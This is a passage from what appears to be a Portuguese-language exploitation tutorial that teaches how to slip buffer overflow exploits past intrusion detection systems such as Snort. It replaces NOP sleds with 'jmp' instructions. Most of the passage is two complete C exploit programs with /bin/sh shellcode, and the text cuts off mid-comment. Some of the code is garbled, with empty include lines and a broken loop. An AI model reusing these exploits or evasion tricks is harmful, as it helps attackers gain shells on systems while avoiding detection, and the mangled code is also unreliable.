p/ buffer overflows costumam enviar a intrucao NOP(0x90) para facilitar a exploitacao de um programa(daemon).A intrucao NOP eh responsavel por uma execucao vazia, ou seja, nao se executa nada.Isto eh essencial, caso tenha duvidas, leia meu tutorial de buffer overflows.Algumas ferramentas de IDS, incluindo o snort, procuram filtrar a chegada de pacotes contendo esta intrucao, e do mesmo modo como no exemplo anterior, se enviarmos esta instrucao, correremos um serio risco de sermos detectados no sistema alvo. Solucao: Entendendo a logica que envolve a instrucao 'NOP' e o seu real significado, podemos facilmente contemplar esquemas substitutos, como por exemplo, substituirmos esta instrucao por outra que procura executar o mesmo objetivo da instrucao NOP em nossos exploits.Abaixo nos podemos contemplar um esquema, onde ao inves de termos NOP(0x90) temos a instrucao 'jmp 0x02', ou seja, jmp(0xeb) + 02(0x02):------------------------------- semnop.c --------------------------------/* Exemplo de Exploit sem a instrucao NOP(0x90) */#include #include #define ALIGN 0#define OFFSET 0char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long pega_sp(void){__asm__("movl %esp, %eax");}int main(int argc, char *argv[]) {int i,tamanho;int offset = OFFSET;long retaddr;char *buffer;if(argc < 2) {printf("Uso: %s \n",argv[0]);exit(0);}if(argc > 2) offset = atoi(argv[2]);tamanho = atoi(argv[1]);retaddr = pega_sp() - offset;buffer = (char *)malloc(tamanho);if(buffer < 0){fprintf(stderr,"Nao pode alocar mamoria!!\n");exit(1);}for (i=0;i buffer[i+ALIGN]=(retaddr&0x000000ff); buffer[i+ALIGN+1]=(retaddr&0x0000ff00)>>8; buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16; buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24; }/* Abaixo nos vemos a condicao for() tendo i sendo incremento em 2 posicoes p/ recebimento da instrucao 'jmp 0x02' */for (i = 0; i < tamanho - strlen(shellcode)-100;i+=2) { *(short *) &buffer[i] = 0xeb; *(short *) &buffer[i+1] = 0x02;}memcpy(buffer+i,shellcode,strlen(shellcode));/* Executamos o programa bugado */execl("./bug","bug",buffer,NULL);return 0;}--------------------------------------------------------------------Voce pode testar este exploit em um programa 'bug' vulneravel a bufferoverflow qualquer, a unica limitacao eh que voce terah que chutar ostamanhos dos buffers seguidos, ou seja, ele pode exploitar em '540' enao exploitar em '541'.Esta particularidade consiste justamente nainstrucao ser uma instrucao dupla, se o retorno cair na instrucao 'jmp'esta otimo, mas se cair aonde esta localizado '0x02', ele nao obterahexito.Com base nessas informacoes podemos ir mais alem ainda e implementarmos instrucoes como 'jmp 0x03', 'jmp 0x04' e assim pordiante.Para nao haver duvidas, abaixo segue o mesmo exploit acima,mas com a intrucao 'jmp 0x03' ao invez de 'jmp 0x02'.--------------------------- semnop2.c ---------------------------------/* Exemplo 2 de Exploit sem NOP. */#include #include #define ALIGN 0#define OFFSET 0char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long pega_sp(void){__asm__("movl %esp, %eax");}int main(int argc, char *argv[]) {int i,tamanho;int offset = OFFSET;long retaddr;char *buffer;if(argc < 2) {printf("Uso: %s \n",argv[0]);exit(0);}if(argc > 2) offset = atoi(argv[2]);tamanho = atoi(argv[1]);retaddr = pega_sp() - offset;buffer = (char *)malloc(tamanho);if(buffer < 0){fprintf(stderr,"Nao pode alocar mamoria!!\n");exit(1);}for (i=0;i buffer[i+ALIGN]=(retaddr&0x000000ff); buffer[i+ALIGN+1]=(retaddr&0x0000ff00)>>8; buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16; buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24; }/* Abaixo nos vemos a condicao for() tendo i sendo incremento em 3 posicoes p/ recebimento da instrucao 'jmp 0x03' e o valor 0x41(A) apenas como enchimento */for (i = 0; i < tamanho - strlen(shellcode)-100;i+=3) { *(short *) &buffer[i] = 0xeb; *(short *) &buffer[i+1] = 0x03; *(short *) &buffer[i+2] = 0x41;}/* Se quisessemos por 'jmp 0x04' poderiamos colocar o seguinte:for (i = 0; i < tamanho - strlen(shellcode)-100;i+=4) {*(short *) &buffer[i] = 0xeb; // jmp *(short *) &buffer[i+1] = 0x04; // 0x04 *(short *) &buffer[i+2] = 0x4e; // N de Nash *(short *) &buffer[i+3] = 0x4c; // L de